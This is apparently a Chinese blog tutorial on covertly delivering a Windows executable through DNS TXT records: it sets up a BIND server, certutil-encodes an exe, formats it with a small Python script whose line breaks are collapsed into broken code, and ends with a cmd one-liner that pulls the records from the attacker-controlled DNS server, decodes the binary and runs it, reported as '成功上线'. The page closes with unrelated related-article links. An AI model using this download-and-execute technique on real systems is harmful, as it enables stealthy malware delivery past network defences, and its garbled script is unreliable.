文章目录

  • 1. 搭建dns服务器
  • 2. 将要下载的文件转化格式
  • 3. 将数据输入到dns服务器中
  • 4. 下载文件并执行
  • 5. 参考文章

因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件

1. 搭建dns服务器

yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf

并添加 forwarders { 8.8.8.8; };,最终如下:

修改/etc/named.rfc1912.zones文件

vim /etc/named.rfc1912.zones

我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.com.zone,然后编辑文件并添加数据。

cp -a /var/named/named.localhost /var/named/baidu.com.zone
vim /var/named/baidu.com.zone

然后启动dns服务并关闭防火墙:

systemctl start named
systemctl stop firewalld

然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:

nslookup -q=txt www.baidu.com 192.168.171.141

2. 将要下载的文件转化格式

首先将文件转化成二进制格式:

certutil -encode whoami.exe a.txt

用下面的脚本将生成的数据进行格式化,每一行前面加上"exec,结尾加上"

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.b = ''
with open("1.txt","r") as f:for i in f:i = "\"exec"+i.strip()+"\""+"\n"b+=iwith open("2.txt","w+") as f:f.write(b)

更改后格式如下:

3. 将数据输入到dns服务器中

将上面的数据输入到括号中:

然后重启named服务:

4. 下载文件并执行

在windows机器上执行下面的命令:

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe


成功上线。

5. 参考文章

https://mp.weixin.qq.com/s/pxKmEO3_ljWSW7WhNQbSzQ

windows远程下载的新方案相关推荐

  1. windows远程下载

    文章目录 windows远程下载 windows远程下载 powershell -exec bypass -c (new-object System.Net.WebClient).downloadfi ...

  2. 巨控PLC远程下载调试最新方案

    巨控PLC远程下载调试最新方案 巨控李工:13247333261 核心技术之一:巨控远程下载机制 巨控李工:13247333261 巨控科技搭建了业内先进的PLC远程实验室,购买了市面上几乎全部主流的 ...

  3. 四章: CentOS6.5 配置连接Windows远程桌面、创建新用户、禁用root在本地或远程使用ssh登录

    1,配置连接Windows远程桌面 yum -y install freerdp xfreerdp -g 800x600 -u administrator 192.168.31.13 2,rz.sz ...

  4. windows远程连接linux-安装xfce界面,ubuntn添加新用户

    参考:" 使用xrdp实现windows 远程桌面连接linux"   http://blog.csdn.net/qq_33530388/article/details/64502 ...

  5. 如何用极路由新插件【搜狐视频】进行远程下载

    本文播放器家园网小编给大家分享如何用极路由新插件[搜狐视频]进行远程下载,如果大家在使用搜狐视频过程当中遇到类似问题,欢迎阅读本文!此外,在搜狐视频视频播放器上观看更流畅,画质更清晰,拒绝卡慢钝,而且 ...

  6. windows下安装wget进行远程下载

    windows下安装wget进行远程下载 学习记录: 1.下载wget安装包        https://jaist.dl.sourceforge.net/project/gnuwin32/wget ...

  7. Windows命令之bitsadmin.exe远程下载

    下载: (1)bitsadmin.exe本身被Windows系统支持,无需下载. 执行如下命令可下载http://127.0.0.1:8080/Down/test.txt至C:\Users\hao\D ...

  8. Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案

    Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案. 安装起来相当的简单,简单到只需要执行一行命令即可完成.使得游戏和开发可以兼顾,并且不用花费数万米的可以使用M ...

  9. Aria2远程下载方案部署(CentOS7+Aria+AriaNG+Nginx)

    操作系统为Centos7 aria2安装 首先安装最新的epel源 yum install epel-release 然后安装aria2 yum install aria2 配置aira2 mkdir ...

最新文章

  1. Caffe中计算图像均值的实现(cifar10)
  2. 数据表迁移数据一致性验证
  3. css实现圆形钟表,js+css3圆形指针时钟代码
  4. multiple root tags怎么解决_手机ROOT后交管12123打不开怎么解决;EdXposed使用QX模块微X教程...
  5. 域与活动目录(下) windows server 2008
  6. 不同编程语言能耗不同?看这27种语言对比!
  7. MongoDB 查询 (转) 仅限于C++开发
  8. oracle 不等函数,Oracle 不常用函数
  9. windows删除文件c语言函数,c rename()函数是否删除文件?
  10. HDU1317 —— 最长路+判断正环
  11. 【MySQL从入门到精通】:了解SQL语言
  12. 好的软件测试的简历是什么样的?
  13. LaTex下载与安装教程(一切为了学术~)
  14. 一、26个字母的读音和发音
  15. 域控制器组策略:域用户加入域,默认加入本地管理员组
  16. 紧急!!!请尽快将Flash Player升级到9.0.124
  17. Apache Activemq-JMS了解+mq指定JDK
  18. u8应用服务器跟数据库分离部署_u8 数据库分离
  19. x3650m4服务器主板型号,【联想x3650 M4参数】联想x3650 M4系列服务器参数-ZOL中关村在线...
  20. ERROR o.s.d.redis.listener.RedisMessageListenerContainer

热门文章

  1. 灵魂有香气的女子李筱懿:为人处世要“沉住气”
  2. 88是python语言的整数类型_Python开发【第二篇】:Python基本数据类型
  3. 《2018年中国新零售“50强榜”》
  4. Ansible安装使用
  5. 【xtku】巧设路由器 自动拨号上网
  6. Python Crash Course读书笔记 - 第2章:Variables and Simple Data Types
  7. 实现doubly-linked list搞清楚了一个内存问题
  8. UEFI中PEI阶段Hob的描述
  9. 怎么看计算机配件型号,笔记本屏幕型号怎么看_笔记本电脑屏幕型号的查看步骤-win7之家...
  10. 制作一个USB可燃气体声光报警器